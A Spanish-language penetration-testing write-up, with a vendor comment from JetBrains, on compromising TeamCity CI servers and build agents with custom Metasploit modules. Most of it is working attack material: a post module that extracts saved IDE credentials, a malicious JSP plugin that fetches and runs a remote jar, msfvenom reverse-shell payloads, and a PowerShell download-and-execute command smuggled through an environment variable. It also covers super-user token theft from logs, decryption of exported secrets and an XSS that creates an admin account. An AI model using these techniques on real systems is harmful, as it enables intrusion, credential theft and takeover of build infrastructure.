
Pentest TeamCity usando Metasploit
TL;DR: Obtener contraseñas de JetBrains IDE (como IntelliJ o PyCharm) y usar esas credenciales dentro de TeamCity Continuous Integration Server para obtener una sesión de meterpreter en el servidor y agentes de compilación usando metasploit por Kacper Szurek.




Este es un comentario del proveedor (Equipo TeamCity de JetBrains) por Yegor Yarko:
La mayor parte del contenido del artículo describe cómo usuarios malintencionados pueden abusar de TeamCity si se les conceden los permisos adecuados para hacerlo. Por ejemplo, un usuario con rol de Administrador del Sistema (otorga control total sobre el servidor) puede instalar un plugin malicioso de TeamCity u obtener un token para acceso de "superusuario" al servidor. También alguien con rol de Administrador de Proyecto puede ejecutar código arbitrario en el agente o recuperar contraseñas de acceso a repositorios configuradas. Este comportamiento es parte de la funcionalidad proporcionada por TeamCity como producto. Estas consideraciones están descritas en la sección relacionada de la documentación de TeamCity.
Los problemas descritos indican lo peligroso que puede ser proporcionar a un actor malintencionado altos privilegios. Los administradores del servidor TeamCity deben revisar los permisos de los usuarios regularmente para no otorgar a usuarios potencialmente malintencionados permisos que puedan malutilizar; revisar los permisos de usuario invitado, si está habilitado. Otro punto es no dejar sus terminales desatendidas mientras están conectados en cualquier lugar con permisos no triviales.
Sin embargo, se señalan dos problemas de seguridad reales en el artículo: uno está relacionado con la publicación de un artefacto de compilación malicioso y hacer que un administrador lo vea en el navegador, y el otro es la escalada de un permiso para ejecutar una compilación personalizada en ejecución de código arbitrario en un agente de TeamCity. Esto último solo tiene efectos menores en la mayoría de las instalaciones de TeamCity, ya que aquellos con este permiso regularmente ya tienen la capacidad de ejecutar cualquier código en el agente.
No obstante, vamos a abordar los problemas anteriores en una de las próximas versiones de TeamCity, y les agradecemos por traerlos a nuestra atención.
Supongamos que está realizando una prueba de penetración dentro de una empresa de software que utiliza el stack de Jetbrains. Está usando metasploit y obtiene una sesión de meterpreter en la computadora del desarrollador.
¿Qué puede hacer a continuación? Hay un artículo sobre pruebas de penetración en TeamCity de Nikhil SamratAshok Mittal de 2015.
En esta publicación combino múltiples técnicas de Security Notes y BugTrack y las integro en un módulo de Metasploit.
Nota: No utilizo ningún 0 day aquí. Para cada acción se necesitan credenciales válidas de TeamCity. Ver Comentario de JetBrains.
No soy responsable de ningún daño causado por este script. Para seguridad de datos, use set CLEANUP false.
Probado en TeamCity 2017.2.1 (build 50732).
Para decodificar la base de datos KeePass necesitamos la librería Ruby kdbx.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installAhora puede:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb y serverplugin.zip a ~/.msf4/modules/exploitsjetbrains.rb a ~/.msf4/modules/postmsfconsolereload_allTeamCity puede integrarse fácilmente con todos los IDE de JetBrains usando el plugin.

Si se usa la opción Recordar, las contraseñas se almacenan usando IntelliJ Platform Credentials Store API. Puede encontrar el código fuente aquí.
La rutina de descifrado en Windows se ve así:

pdb.pw se descifra usando Windows CryptUnprotectData. Esto significa que solo el usuario cuyos datos cifran puede decodificarlos.c.kdbx ahora se puede descifrar usando la Contraseña maestra del punto 20xDFAAPor defecto, la Contraseña maestra es aleatoria. Se puede cambiar dentro de las opciones:

Pero esto no cambia nada.
Solo significa que la base de datos KeePass c.kdbx se cifrará con una contraseña diferente. El usuario local aún puede obtener fácilmente esta contraseña del archivo pdb.pw.
Supongamos que tiene una sesión válida de Meterpreter con `#1```` use post/jetbrains set SESSION 1 exploit
La salida se ve así:
GitGuardian shield Owner: GitGuardian / [1 dependency scanning tool] GitGuardian shield [1] │ Owner: GitGuardian / [1 dependency scanning tool]
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
```
# Pentest del Servidor TeamCity
Ahora tienes credenciales de TeamCity del [módulo de metasploit de JetBrains](#jetbrains-metasploit-module). Basado en el [rol de usuario](https://confluence.jetbrains.com/display/TCD10/Role+and+Permission) actual, puedes:
## Modo de Autorización Simple
| | [Shell en el servidor](#shell-on-server) | [Shell en agentes de build](#shell-on-build-agents) | [Superusuario](#super-user) | [Credenciales guardadas](#saved-credentials)
|:---:|:---:|:---:|:---:|:---:|
Administrador | :heavy_check_mark: | :heavy_check_mark: | :heavy_check_mark: | :heavy_check_mark: <br>Para todos los proyectos
Usuario conectado | :x: | :heavy_multiplication_x: <br>[solo en agentes Windows](#shell-on-windows-build-agents) | :x: | :x: |
Usuario invitado | :x: | :x: | :x: | :x: |
## Modo de Autorización por Proyecto:
| | [Shell en el servidor](#shell-on-server) | [Shell en agentes de build](#shell-on-build-agents) | [Superusuario](#super-user) | [Credenciales guardadas](#saved-credentials)
|:---:|:---:|:---:|:---:|:---:|
Administrador del sistema | :heavy_check_mark: | :heavy_check_mark: | :heavy_check_mark: | :heavy_check_mark: <br>Para todos los proyectos
Administrador del proyecto | :x: | :heavy_check_mark: | :x: | :heavy_check_mark: |
Desarrollador del proyecto | :x: | :heavy_multiplication_x: <br>[solo en agentes Windows](#shell-on-windows-build-agents) | :x: | :x: |
Visor del proyecto | :x: | :x: | :x: | :x: |
Ten en cuenta que el módulo metasploit no soporta roles personalizados.
## Shell en el servidor
TeamCity se puede extender fácilmente usando [plugins](https://plugins.jetbrains.com/teamcity).

Usando esta funcionalidad es posible crear un plugin malicioso que ejecutará una sesión meterpreter.
1. Crea un plugin malicioso usando [este tutorial](https://confluence.jetbrains.com/display/TCD10/Getting+Started+with+Plugin+Development). Dentro de `Hello.jsp` put: ```java
<%@ page import="java.io.File" %>
<html>
<body>
OKK
<%
String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path");
String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java";
%>
<%= file_path %>
<%= java_path %>
<%
try {
org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path));
ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path);
Process p = pb.start();
} catch (Exception x) { x.printStackTrace(System.out); }
%>
</body>
</html>
```
Esto permitirá descargar y ejecutar meterpreter. El archivo `.jar` compilado está [aquí](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).
2. Ve a `Server Administration->Diagnostics->Browse Data Directory` y sube el plugin al directorio `plugins`. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)

3. Reinicia el servidor usando `Server Administration->Diagnostics->Troubleshooting->Restart server` (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)

4. Ahora puedes ejecutar cualquier archivo `.jar` usando http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar
## Shell en agentes de compilación
Un [Agente de Compilación de TeamCity](https://confluence.jetbrains.com/display/TCD10/Build+Agent) es un software que escucha los comandos del servidor TeamCity e inicia los procesos de compilación reales. Se instala y configura por separado del servidor TeamCity. Un agente puede instalarse en el mismo equipo que el servidor o en una máquina diferente.
La explotación se ve así:

En palabras simples: generamos java meterpreter que se aloja en un servidor git. Luego creamos una configuración de compilación que descarga nuestro meterpreter del servidor git y lo ejecuta en los agentes usando la línea de comandos.
1\. Genera el payload meterpreter: `msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar`
2\. Aloja `meterpreter.jar` en un Servidor Git (por ejemplo usando https://gogs.io/)
3\. Si tienes privilegios de `Administrador del Sistema`, puedes crear un nuevo proyecto (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). Si eres `Desarrollador de Proyecto`, necesitas editar el proyecto al que tienes acceso.

4\. Agrega una raíz VCS a tu proyecto usando los datos del punto 2

5\. Crea una nueva configuración de compilación

6\. Agrega un paso de compilación a la configuración de compilación

| Clave | Valor |
| --- | --- |
|Tipo de ejecutor|Línea de comandos|
|Ejecutar paso|Siempre, incluso si se emitió el comando de detener compilación|
|Ejecutar|Ejecutable con parámetros|
|Ejecutable de comando|%teamcity.agent.jvm.java.home%/bin/java|
|Parámetros de comando|-jar %system.teamcity.build.checkoutDir%/tu_archivo_jar_desde_git.jar|
7\. Prepara el multi handler de metasploit: ```
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.1.11
exploit
```
8\. Run personal custom build on all compatible agents

## Shell on Windows build agents
By default `Project Developer` cannot modify/create build steps.
So it's not possible to add and execute our malicious command line.
We can try to bypass this on Windows using [Variables de entorno personalizadas ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). How?
Teamcity supports [git checkout on agent](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).
Before build step execution, agent is downloading newest data from git server:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
```
El agente comprueba si existe la variable de entorno `TEAMCITY_GIT_PATH`. Si es así, se usa como ruta para el binario de git.
En TeamCity, el desarrollador del proyecto puede ejecutar una compilación a la que tenga acceso y especificar variables de entorno personalizadas.
Por lo tanto, estamos configurando `env.TEAMCITY_GIT_PATH` a:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"
```

En los registros de compilación, esto se ve así:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
```
## Super usuario
TeamCity tiene algo llamado [cuenta de super usuario](https://confluence.jetbrains.com/display/TCD10/Super+User). Permite acceder a la interfaz de usuario del servidor con permisos de Administrador del Sistema si no recuerdas las credenciales o necesitas arreglar configuraciones relacionadas con la autenticación.
Si tienes privilegios de `Administrador del Sistema` ve a `Server Administration->Diagnostics->Server logs->teamcity-server.log` y busca la cadena `Super user authentication token` (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
```
Ahora puede iniciar sesión usando: `http://teamcity/login.html?super=1`
## Credenciales guardadas
TeamCity almacena cosas como `contraseñas raíz VCS`, `parámetros de contraseña` o `claves SSH` en forma cifrada y no muestra su contenido en la interfaz web o API.
Pero se puede eludir usando la función `export`. Vaya a **Su proyecto->Configuración Exportar->Exportar**

Esos archivos tienen este aspecto:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
```
Las cadenas cifradas comienzan con `zxx` y se codifican utilizando [DES con clave estática](http://www.exfiltrated.com/research/teamcity-secret-decrypt.py).
## Cuenta de administrador usando XSS
Como podemos leer en [Teamcity Bug Tracker #TW-27206](https://youtrack.jetbrains.com/issue/TW-27206): `Los datos maliciosos en los artefactos de compilación pueden iniciar un ataque XSS`.
Actualmente, todos los archivos .html (y algunos otros) de los artefactos de compilación se renderizan en el navegador al hacer clic en ellos.
Creé un [pequeño fragmento de código](https://github.com/kacperszurek/pentest_teamcity/blob/master/artifacts_xss.html) que intenta crear una nueva cuenta de administrador.
¿Cómo podría verse este ataque? Intentamos persuadir al Administrador para que visite nuestro artefacto malicioso, disponible en una URL como esta `http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html`.

## Usuario invitado
TeamCity permite activar el [inicio de sesión de invitado](https://confluence.jetbrains.com/display/TCD10/Guest+User), que permite el acceso anónimo a la interfaz web de TeamCity.
Un administrador del servidor puede habilitar el inicio de sesión de invitado en la página **Administration | Authentication**.
Puede utilizar esto para obtener artefactos de compilación.
## Módulo Metasploit de TeamCity
Uso básico:```
use exploit/teamcity
set RHOST 192.168.1.1
set RPORT 8111
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.1.118
set LPORT 4444
set USERNAME your_user_name
set PASSWORD your_password
exploit
```
La salida se ve así:
Opciones adicionales:
| Nombre | Descripción |
|:---:|:---:|
|PROJECT_ID|Especificar ID del proyecto, por defecto creará un nuevo proyecto aleatorio|
|BUILD_TYPE_ID|Especificar ID del tipo de compilación, por defecto creará un nuevo tipo de compilación aleatorio|
|VCS_ID|Especificar ID de VCS, por defecto creará un nuevo VCS aleatorio|
|CLEANUP|Eliminar el proyecto/compilación/raíz VCS creado|
|SERVER_PLUGIN|Ruta al [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Ruta al directorio GIT|
# Solución de problemas
1. No puedo cargar los módulos de Metasploit
Verifique si copió `teamcity.rb` en el directorio `~/.msf4/modules/exploits` y `jetbrains.rb` en el directorio `~/.msf4/modules/post`.
Metasploit requiere que los módulos de exploit estén dentro del directorio `exploits` y los módulos post dentro del directorio `post`.
2. ¡Advertencia! ¡Los siguientes módulos no se pudieron cargar! LoadError no se puede cargar el archivo -- kdbx
¿Instaló el [módulo kdbx](#installation)? Si es así, salga de Metasploit y ejecútelo de nuevo. Use el comando `reload_all`.
3. No puedo obtener contraseñas desde IDE instalado en Mac/Linux
Actualmente solo se admite Windows. Lo sentimos.
4. Post falló: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1
Probablemente esté usando java meterpreter. No tiene algunas API importantes. Migre a `windows/meterpreter/reverse_tcp` e intente de nuevo.
5. Ejecutando como SYSTEM, no se pueden descifrar datos
Debido a que las contraseñas están cifradas con la API `CryptUnprotectData`, la función de descifrado debe ejecutarse en el contexto de una cuenta de usuario normal.
6. No obtengo [shell en el servidor](#shell-on-server)
Ejecute el exploit una segunda vez.
7. `teamcit.rb` no funciona incluso si el usuario actual tiene suficientes privilegios
Este módulo no admite roles personalizados.
8. No se encuentra git dentro de %path%. Por favor, cambie GIT_PATH
Necesitamos el binario `git` y `git-upload-pack` para configurar el servidor Git que alojará nuestro meterpreter. Utilizo la idea de [aquí](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).
```
set GIT_PATH /your/path/to/git/dir
```
9. No se puede iniciar sesión como `username:password`
Verifique las credenciales:
set USERNAME your_user_name
set PASSWORD your_password
10. No se encuentra el plugin del servidor: %path%. Por favor, modifique SERVER_PLUGIN
Especifique dónde está almacenado [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] Exploit falló: Rex::RuntimeError The supplied resource is already added.
Elimine los trabajos en segundo plano usando `jobs -K`
12. Por favor, enlace LHOST a una dirección IP específica, no a 0.0.0.0
Enlace a una dirección IP específica, p. ej.: ```
use LHOST 192.168.1.123
```
13. Exploit abortado debido a fallo: desconocido: No se puede modificar %project_name%
No tienes permisos para el proyecto específico.
Consulta para qué proyecto tienes acceso, p. ej.: ```
You can modify only following projects: ["test", "second"]
```
e indique el id del proyecto: ```
set PROJECT_ID test
```
14. ¿Por qué solo está disponible `java/meterpreter/reverse_tcp`?
Porque es portátil. Siéntase libre de modificar la función `is_payload_compatible?`.
15. Otros problemas
Habilitar la depuración:
set HttpTrace 1
set LogLevel 3